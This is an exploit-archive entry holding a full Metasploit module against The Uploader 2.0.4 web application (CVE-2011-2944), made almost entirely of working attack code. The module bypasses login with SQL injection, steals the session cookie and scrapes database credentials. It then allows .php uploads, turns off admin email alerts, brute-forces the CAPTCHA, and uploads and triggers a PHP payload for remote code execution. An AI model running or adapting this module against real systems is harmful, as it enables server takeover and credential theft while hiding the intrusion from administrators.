Author

Danny Moules

Risk

[

Security Risk Medium

]

0day-ID

0day-ID-17567

Category

web applications

Date add

24-02-2012

Platform

php

require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
    include Msf::Exploit::Remote::HttpClient
    def initialize(info = {})
        super(update_info(info,
            'Name'              => 'The Uploader 2.0.4 (Eng/Ita) Remote File Upload',
            'Description'=> %q{
                    This module exploits various flaws in The Uploader to upload a PHP payload
                    to target system. When run with defaults it will search possible URIs for
                    the application and exploit it automatically. Works against both English
                    and Italian language versions. Notably it disables pre-emptive email warnings
                    before uploading the payload, though it leaves log cleanup as a
                    post-exploitation task.
            },
            'Author'            => [ 'Danny Moules' ],
            'References'        =>
                [
                    [ 'URL', 'http://sourceforge.net/projects/theuploader' ],
                    [ 'CVE', '2011-2944' ],
                ],
            'Privileged'        => false,
            'Payload'           =>
                {
                    'DisableNops'   => true,
                    'Keys'        => ['php'],
                },
            'License'           => MSF_LICENSE,
            'Platform'          => 'php',
            'Arch'              => ARCH_PHP,
            'Targets'           => [[ 'Automatic', { }]],
            'DefaultTarget'     => 0,
            'DisclosureDate'    => 'Feb 23 2012',
        ))
        register_options([
            Opt::RHOST,
            Opt::RPORT(80),
            OptString.new(
                'URI',
                [ true, 'Path of application root (default will try common targets)', '/' ]
            ),
            OptInt.new(
                'CRACKATTEMPTS',
                [ true, 'Brute force attempts, if required, to crack CAPTCHA', 200 ]
            ),
            OptBool.new(
                'VERBOSE',
                [ true, 'Verbose output', true ]
            ),
        ], self.class)
    end
    def get_strings(lang)
        if lang == "Eng"
            strings = {
                "sqlisuccess" => /Log-In has been done successfully/,
                "whitelistsuccess" => /The extension has been added successfully/,
                "disablemailsuccess" => /Notification Mail section has been saved successfully/,
                "changedirsuccess" => /Edit Upload Folder section has been saved successfully/,
                "captcharequired" => /No result entered/,
                "uploadsuccess" => /Download Link/,
                "disablecaptchasuccess" =>
                    /Upload Permissions section has been saved successfully/,
            }
        elsif lang == "Ita"
            strings = {
                "sqlisuccess" => /stato effettuato con successo/,
                "whitelistsuccess" => /L'estensione &egrave; stata consentita con successo/,
                "disablemailsuccess" => /Mail di Notifica &egrave; stata salvata con successo/,
                "changedirsuccess" =>
                    /Modifica Cartella Upload &egrave; stata salvata con successo/,
                "captcharequired" => /Non &agrave; stato inserito nessun risultato/,
                "uploadsuccess" => /Link al download/,
                "disablecaptchasuccess" => /Permessi Upload &egrave; stata salvata con successo/,
            }
        end
        return strings
    end
    def exploit
        #Analyse target
        analysis = analyse(datastore['URI'])
        print_status(analysis['status'])
        strings = get_strings(analysis['lang'])
        unless analysis['uri'].nil?
            datastore['URI'] = analysis['uri']
        end
        #Attempt SQLi - Gets the 'first' valid admin account
        data = "username=' OR activated=1-- a"
        data << "&password=a"
        data << "&login=Log-IN"
        res = send_and_verify(
            datastore['URI'] + "login.php",
            "POST",
            "application/x-www-form-urlencoded",
            "",
            data,
            "SQL injection",
            strings['sqlisuccess']
        )
        #Get cookies
        unless res.headers.include?('Set-Cookie')
            raise RuntimeError.new("Nobody gave us a cookie =( SQLi failed")
        end
        choc_chip = res.headers['Set-Cookie']
        if datastore["VERBOSE"]
            print_good("I stole the cookie from the cookie jar: #{choc_chip}")
        end
        #Optionally, analyse configuration
        if datastore["VERBOSE"]
            begin
                config = analyse_config(strings, choc_chip)
                print_status("INFO: Database host is #{config['db_host']}")
                print_status("INFO: Database username is #{config['db_user']}")
                print_status("INFO: Database password is #{config['db_pass']}")
                print_status("INFO: Database name is #{config['db_name']}")
                print_status("INFO: Admin log is #{config['admin_log']}")
            rescue ::Exception => e
                err = "Non-fatal error. Failed to analyse configuration: "
                err << "#{e.class.to_s} #{e.to_s}"
                print_error(err)
            end
        end
        #Whitelist .php extensions for upload
        res = send_and_verify(
            datastore['URI'] + "admin/ajaxmanager.php?section=upload&category=extensionadd",
            "POST",
            "application/x-www-form-urlencoded",
            choc_chip,
            "allowed_ext=php",
            "Whitelisting .php extensions",
            strings['whitelistsuccess']
        )
        # Disable email reporting
        res = send_and_verify(
            datastore['URI'] + "admin/ajaxmanager.php?section=upload&category=mail",
            "POST",
            "application/x-www-form-urlencoded",
            choc_chip,
            "upload_email=0",
            "Disabling email reporting",
            strings['disablemailsuccess']
        )
        # Change upload location to suit us
        data = "upload_directory="
        data << "&upload_full="
        data << datastore['RHOST']
        data << datastore['URI']
        res = send_and_verify(
            datastore['URI'] + "admin/ajaxmanager.php?section=upload&category=uploaddir",
            "POST",
            "application/x-www-form-urlencoded",
            choc_chip,
            data,
            "Changing upload directory to application root",
            strings['changedirsuccess']
        )
        #Disable CAPTCHA on upload (non-fatal)
        begin
            res = send_and_verify(
                datastore['URI'] + "admin/ajaxmanager.php?section=upload&category=captcha",
                "POST",
                "application/x-www-form-urlencoded",
                choc_chip,
                "captcha_upload=0",
                "Disabling CAPTCHA on upload",
                strings['disablecaptchasuccess']
            )
        rescue ::Exception
            print_error("Disabling CAPTCHA on upload failed. Will use cracker if necessary.")
        end
        #Upload PHP payload
        upload_uri = "ajax/upload.php"
        filename = "#{rand_text_alphanumeric(8)}.php"
        boundary = rand_text_alphanumeric(8)
        data = %Q{
--#{boundary}
Content-Disposition: form-data; name="upfile_1"; filename="#{filename}"
Content-Type: text/plain
<?php #{payload.encoded} ?>
--#{boundary}
        }
        res = send_request_raw({
            'uri'       =>  datastore['URI'] + upload_uri,
            'method'    => 'POST',
            'data'      => data + '--',
            'headers'   =>
                {
                    'Cookie'        => choc_chip,
                    'Content-Type'      => 'multipart/form-data; boundary=' + boundary,
                    'Content-Length'    => data.length + 2,
                },
        }, 20)
        #Verify response
        if res.code != 200
            raise RuntimeError.new("Uploading payload failed (HTTP code #{res.code.to_s})")
        end
        # If failure due to CAPTCHA, crack that...
        if res.body =~ strings['captcharequired']
            crack_captcha(data, choc_chip, boundary, upload_uri, strings)
        else
            if res.body =~ strings['uploadsuccess']
                if datastore["VERBOSE"]
                    print_good("Uploading payload succeeded, triggering...")
                end
            else
                err = "Response doesn't look right."
                err << " Uploading payload probably failed (will continue anyway)"
                print_error(err)
            end
        end
        #Attempt to trigger payload
        res = send_request_cgi({
            'uri'       =>  datastore['URI'] + filename,
            'method'    => 'GET',
            'headers'   =>
                {
                    'Cookie' => choc_chip,
                },
        }, 5)
        #Verify response
        if res and res.code != 200
            err = "Triggering payload (/#{filename}) failed "
            err << "(HTTP code #{res.code.to_s})"
            raise RuntimeError.new(err)
        else
            print_good("Triggering payload (/#{filename}) successful")
        end
    end
    def crack_captcha(data, choc_chip, boundary, upload_uri, strings)
        captcha_failed = true
        print_status("CAPTCHA is enabled. Transforming into brute-force CAPTCHA cracker *ping*")
        crack_data = %Q{
#{data}
Content-Disposition: form-data; name="result"
0
--#{boundary}
        }
        patience = datastore['CRACKATTEMPTS']
        for i in (1..patience)
            #First visit index page to trigger CAPTCHA reset
            res = send_request_cgi({
            'uri'       =>  datastore['URI'] + "index.php",
            'method'    => 'GET',
            'headers'   =>
                {
                    'Cookie' => choc_chip
                },
            }, 20)
            #Now try CAPTCHA with result 0. It'll happen eventually (1/30ish chance).
            #Maths-based CAPTCHAs are educational kids!
            res = send_request_raw({
                'uri'       =>  datastore['URI'] + upload_uri,
                'method'    => 'POST',
                'data'      => crack_data + '--',
                'headers'   =>
                    {
                        'Cookie'            => choc_chip,
                        'Content-Type'      => 'multipart/form-data; boundary=' + boundary,
                        'Content-Length'    => crack_data.length + 2,
                    },
            }, 20)
            if res.body =~ strings['uploadsuccess']
                captcha_failed = false
                break
            end
        end
        if captcha_failed
            err = "Could not break CAPTCHA in #{patience.to_s} iterations."
            err << " You might have luck retrying."
            raise RuntimeError.new(err)
        else
            print_good("CAPTCHA broken. Transforming back into a mild-mannered exploit *ping*")
        end
    end
    def send_and_verify(uri, method, ctype, cookie, data, intent, check)
        res = send_request_raw({
            'uri'       => uri,
            'method'    => method,
            'data'      => data,
            'headers'   =>
                {
                    'Cookie'            => cookie,
                    'Content-Type'      => ctype,
                    'Content-Length'    => data.length,
                },
        }, 20)
        #Verify response
        if res.code != 200
            raise RuntimeError.new("#{intent} failed (HTTP code #{res.code.to_s})")
        end
        unless res.body =~ check
            raise RuntimeError.new("Response doesn't look right. #{intent} probably failed")
        end
        if datastore["VERBOSE"]
            print_good("#{intent} succeeded")
        end
        return res
    end
    def analyse(uri_set)
        code = nil
        found_uri = nil
        status = "Unknown state"
        lang = "Eng"
        unless uri_set =~ /\/$/ then
            uri_set = "#{uri_set}/"
            print_status("URI automatically changed to #{uri_set}")
        end
        unless uri_set =~ /^\// then
            uri_set = "/#{uri_set}"
            print_status("URI automatically changed to #{uri_set}")
        end
        if uri_set == "/" then
            uris = [ "/", "/upload/", "/uploader/", "/theuploader/",
                "/the_uploader/", "/The%20Uploader/",
                "/The%20Uploader%202.0.4%20-%20Eng/", "/The%20Uploader%202.0.4%20-%20Ita/"
            ]
        else
            uris = [ uri_set ]
        end
        uris.each do |uri|
            res = send_request_cgi({
                'uri'       =>  uri + "index.php",
                'method'    => 'GET',
            }, 20)
            if res and res.code == 200
                if res.body =~ /The Uploader 2\.0/
                    status = "2.0.* version found at #{uri}"
                    code = Exploit::CheckCode::Vulnerable
                    found_uri = uri
                elsif res.body =~ /The Uploader/
                    status = "Detected unknown version at #{uri}"
                    code = Exploit::CheckCode::Detected
                    found_uri = uri
                end
                unless found_uri.nil?
                    #Set appropriate language
                    if res.body =~ /Sezione Upload/
                        lang = "Ita"
                    end
                    http_fingerprint({ :response => res })
                    break
                end
            end
        end
        if found_uri.nil?
            if uri_set == "/"
                status = "Could not find the web site automatically. Enter URI manually?"
            else
                status = "Could not find the web site."
                status << " Use the default URI to search for the web site automatically"
            end
            code = Exploit::CheckCode::Safe
        end
        return { "code" => code, "uri" => found_uri, "lang" => lang, "status" => status }
    end
    def analyse_config(strings, cookie)
        #Acquire the database details
        res = send_request_cgi({
            'uri'       =>  datastore['URI'] + "admin.php?section=upload&category=server",
            'method'    => 'GET',
            'headers'   =>
                {
                    'Cookie'    => cookie
                },
        }, 20)
        unless res and res.code == 200
            raise RuntimeError.new("Acquiring database details failed")
        end
        r = /<input[^>]*name="host"[^>]*value="([^"]*)".*\/>/
        db_host = r.match(res.body)[1]
        r = /<input[^>]*name="user"[^>]*value="([^"]*)".*\/>/
        db_user = r.match(res.body)[1]
        r = /<input[^>]*name="pass"[^>]*value="([^"]*)".*\/>/
        db_pass = r.match(res.body)[1]
        r = /<input[^>]*name="dbnm"[^>]*value="([^"]*)".*\/>/
        db_name = r.match(res.body)[1]
        #Acquire the admin log details
        res = send_request_cgi({
            'uri'       =>  datastore['URI'] + "admin.php?section=admin&category=admin_log",
            'method'    => 'GET',
            'headers'   =>
                {
                    'Cookie'    => cookie
                },
        }, 20)
        unless res and res.code == 200
            raise RuntimeError.new("Acquiring admin log details failed")
        end
        r = /<input[^>]*name="admin_log"[^>]*checked.*\/>/
        if r.match(res.body)
            admin_log = "active"
        else
            admin_log = "inactive"
        end
        return {
            "db_host" => db_host, "db_user" => db_user, "db_pass" => db_pass,
            "db_name" => db_name, "admin_log" => admin_log,
        }
    end
    def check
        analysis = analyse("/")
        print_status(analysis['status'])
        return analysis['code']
    end
end



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